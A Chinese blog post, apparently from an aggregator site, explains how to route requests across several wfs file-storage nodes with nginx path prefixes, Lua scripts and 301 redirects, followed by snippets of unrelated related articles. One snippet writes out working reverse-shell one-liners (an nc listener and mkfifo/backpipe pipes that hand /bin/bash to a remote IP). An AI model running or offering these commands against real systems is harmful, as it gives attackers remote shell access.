如何部署 wfs 分布式服务

news/2024/5/19 2:13:06
说明: wfs是海量小文件存储系统。wfs1.x不直接支持分布式存储,但为了应对大规模部署和高可用需求,推荐采用如Nginx这样的负载均衡服务,通过合理的资源配置和定位策略,可以在逻辑上模拟出类似分布式的效果。也就是说,虽然每个wfs实例都是单机存储,但可以通过外部服务实现多个wfs实例之间的请求分发,例如通过对文件路径前缀(如 /01/)进行解析,可将请求分发至不同的wfs实例,从而达到业务层面的“分布式部署”。

示例
  • wfs上传一张图片: user1001.jpg ,上传并命名 为: 01/webtim/user1001.jpg
  • 那么它的wfs访问地址是:https://your_wfsserver_domain.com/01/webtim/user1001.jpg
  • 说明:用于前缀 /01/  来标识一个 wfs 节点
  • 用两个字符至少可以标识几千台wfs服务器,可以满足大部分的业务需求量

以下用nginx作为资源访问的负载均衡服务器

在nginx中,通过lua脚本或nginx原生的配置,可以快速解析uri,并定位到相应的wfs节点。

如: nginx.conf中快速定位 /01/开头的wfs节点

 location /01/ { # 匹配以"/01/"开头的请求路径 proxy_pass http://192.168.1.11:4660/; # 这里是反向代理的wfs节点服务地址  proxy_redirect off;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }

使用lua脚本反向代理

 location / {access_by_lua_block {local path = ngx.var.uri-- 判断路径是否以"/01/"开头if string.sub(path, 1, 4) == "/01/" then-- 设置要代理到的目标地址ngx.var.proxy_pass = "http://yourip:port" .. ngx.var.request_uriend}   ....

也可以直接定位wfs节点后  进行url重定向。重定向对于服务器的压力更小;这取决于具体的应用场景和需求。

301重定向

location /01/ {# 匹配以"/01/"开头的请求路径rewrite ^/01/(.*)$  https://your_wfsserver01_domain.com/01$1 permanent; # 替换为你的标识 01 的wfs服务地址
}

使用lua脚本301重定向

 location / {access_by_lua_block {local path = ngx.var.uriif string.sub(path, 1, 4) == "/01/" thenngx.redirect("https://your_wfsserver01_domain.com" .. ngx.var.request_uri, ngx.HTTP_MOVED_PERMANENTLY)returnend}# 如果未重定向,则继续其他配置...
}

请注意:以上示例是基于文件路径前缀作为路由规则,实际部署时务必结合业务实际需求定制路由设计,并对Nginx配置进行验证与优化,确保系统的稳定运行和性能表现。

以上仅提供一种可行性的负载均衡方案,它可以实现不受限制的动态水平扩展需求,解决大规模文件存取的问题。

与分布式系统对比:

优点:

  • 部署简易
  • 占用系统资源较少
  • 定位和解决问题相对简便
  • 易于实现动态水平扩展

缺点:

  • 数据路由规则需手动实现
  • 数据冗余备份机制也需自行搭建


http://www.mrgr.cn/p/76564336

相关文章

4-25 WP整理

AliyunCTF 2024 - 帕鲁情绪管理 nc链接上去过掉proof看到如下交互 sha256(("zqonds929lsi1d19ayrm6xdxogid" + "????").encode()) = 447dedc4395aae3f6344689b6fdeadc71d7759c3d9b5071ce318267ed587ce97 Please input the answer: Do you want to tra…

二维前缀和与差分

前言 延续前面所讲的一维前缀和以及差分,现在来写写二维前缀和与差分 主要这个画图就比前面的一维前缀和与差分复杂一点,不过大体思路是一样的 一维和二维的主要思路在于一维是只针对对一行一列,而二维是针对与一个矩阵的 好吧&#xff0…

嵌入式Linux driver开发实操(十八):Linux音频ALSA开发

应用程序程序员应该使用库API,而不是内核API。alsa库提供了内核API 100%的功能,但增加了可用性方面的主要改进,使应用程序代码更简单、更美观。未来的修复程序或兼容性代码可能会放在库代码中,而不是放在内核驱动程序中。 使用ALSA API和libasound进行简单的声音播放: /*…

麒麟 Kylin V10 一键安装 Oracle 11GR2 单机 ASM(231017)

前言 Oracle 一键安装脚本,演示麒麟 Kylin V10 一键安装 Oracle 11GR2 单机 ASM(231017)过程(全程无需人工干预):(脚本包括 ORALCE PSU/OJVM 等补丁自动安装) ⭐️ 脚本下载地址&a…

Hbase学习笔记

Hbase是什么 HBase是一个高可靠、高性能、面向列、可伸缩的分布式存储系统。它利用Hadoop HDFS作为其文件存储系统,并提供实时的读写的数据库系统。HBase的设计思想来源于Google的BigTable论文,是Apache的Hadoop项目的子项目。它适合于存储大表数据,并可以达到实时级别。HB…

深度神经网络(DNN)

通过5个条件判定一件事情是否会发生,5个条件对这件事情是否发生的影响力不同,计算每个条件对这件事情发生的影响力多大,写一个深度神经网络(DNN)模型程序,最后打印5个条件分别的影响力。 示例 在深度神经网络&#xf…

栈(Stack)的原理与代码实现

介绍栈的原理,并分别使用数组和链表实现栈的结构。栈(stack) 原理说明: ​ 学习数据结构的目的是为了更好的处理和存储数据,对于顺序表而言改查比较容易,增删比较麻烦,对于链式表而言,增删比较简单,改查比较麻烦,所以每种数据结构都有不同的特点,用户需要选择合适的…

eBay、亚马逊自养号测评如何避免风控账号关联选择合适网络IP环境

在自养号下单中选择适合的网络环境至关重要。经过多次实践与测试,积累了大量的经验,希望能够与大家分享,帮助大家避开陷阱,顺利前行。 市面上的网络环境种类繁多,从纯IP类的Luminati、Rola,到纯环境类的VM…

linux centos8 系统扩容 VMware Centos---VMware ESXi

linux 系统扩容 VMware Centos---VMware ESXi 用到的命令 df fdisk pvcreate pvdisplay vgdisplay vgextend lvdisplay lvextend resize2fs 01) 使用了一段时间虚拟机后发现磁盘不够用了,需要扩容。在客户端操作扩容出现磁盘已成功扩展。 您必须从客户机操作系…

使用 Redis 实现限流——滑动窗口算法

用 Go 语言实现滑动窗口限流算法,并利用 Redis 作为存储后端,可以按照以下步骤进行设计和编码。滑动窗口限流的核心思想是维护一个固定时间窗口,并在窗口内记录请求次数,当窗口滑动时,旧的请求计数被移除,新的请求计数被添加。这里以 Redis 的有序集合(Sorted Set,简称…

Tomcat调优总结(Tomcat自身优化、Linux内核优化、JVM优化)【转】

Tomcat自身的调优是针对conf/server.xml中的几个参数的调优设置。首先是对这几个参数的含义要有深刻而清楚的理解。以tomcat8.5为例,讲解参数。 同时也得认识到一点,tomcat调优也受制于linux内核。linux内核对tcp连接也有几个参数可以调优。 因此我们可以将tomcat调优分为lin…

提升工作效率必备,桌面待办事项提醒软件

在快节奏的现代社会,提升工作效率成为众多上班族的共同追求。有效的时间管理、合理的工作计划和正确的工具选择,是实现高效工作的三大关键。尤其是选择一款优秀的待办事项管理软件,能够极大地助力我们提升工作效率。 而我在网上找到了一款提升工作效率必备神器软件,它就是2…

S3-FIFO

S3-FIFO 本文作为下一篇缓存文章的预备知识。 背景 基于LRU和FIFO的驱逐 FIFO和LRU都是经典的缓存驱逐算法,在过去几十年中也出现了很多追求更高效率的驱逐算法,如ARC, 2Q, LIRS, TinyLFU。传统观点认为,基于LRU的缓冲未命中率要低于基于FIFO的算法,如CLOCK,这类高级算法通…

python读取yaml配置文件的方法

yaml简介1.yaml [ˈjməl]: Yet Another Markup Language :另一种标记语言。yaml 是专门用来写配置文件的语言,非常简洁和强大,之前用ini也能写配置文件,看了yaml后,发现这个更直观,更方便,有点类似于json格式 2.yaml基本语法规则: 大小写敏感 使用缩进表示层级关系 缩进…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

信号量(Semaphores)

信号量与pv操作信号量信号量(Semaphore)是一种比互斥锁更强大的同步工具,它可以提供更加高级的方法来同步并发进程。 A semaphore S is an integer variable that ,apart from initialization(初始化),is accessed only through two standard atomic operations:P VP:wait() …

对象和类

private关键字 构造方法 this关键字 局部变量: 方法体中的变量 成员变量: 类中定义的变量(属性) 输出时采用就近原则:即距离输出语句近的 想让他使用属性中同名的变量加上this关键字

nginx 配置 SSL 证书实现 https 访问

nginx 配置SSL证书实现https访问 1. SSL 证书简介与获取1.1 SSL 证书介绍1.2 获取 SSL 证书 2. nginx 配置 SSL 文件2.1 SSL 文件放置与配置文件修改2.1.1 文件配置2.1.2 强制 https 访问 2.2 验证配置结果 同步发布在个人笔记 nginx 配置 SSL 证书实现 https 访问 配置好 ngi…

GaussDB数据库SQL系列-聚合函数

背景 在这篇文章中&#xff0c;我们将深入探讨GaussDB数据库中聚合函数的使用和优化。聚合函数是数据库查询中非常重要的工具&#xff0c;它们可以对一组值执行计算并返回单个值。例如&#xff0c;聚合函数可以用来计算平均值、总和、最大值和最小值。 这些功能在数据分析和报…

Python 彩色字体输出

使用ANSI转译码给print添加颜色 公式 \033[显示方式;字体颜色;背景色m输出内容\033[0m公式参数解析\033 : ANSI转义序列开始标识 [ :控制码 用于控制字体方式、颜色、背景色(控制码对应参数值是唯一的 所以仅设置一个参数时 其他参数可以省略 不用空占用) m :控制…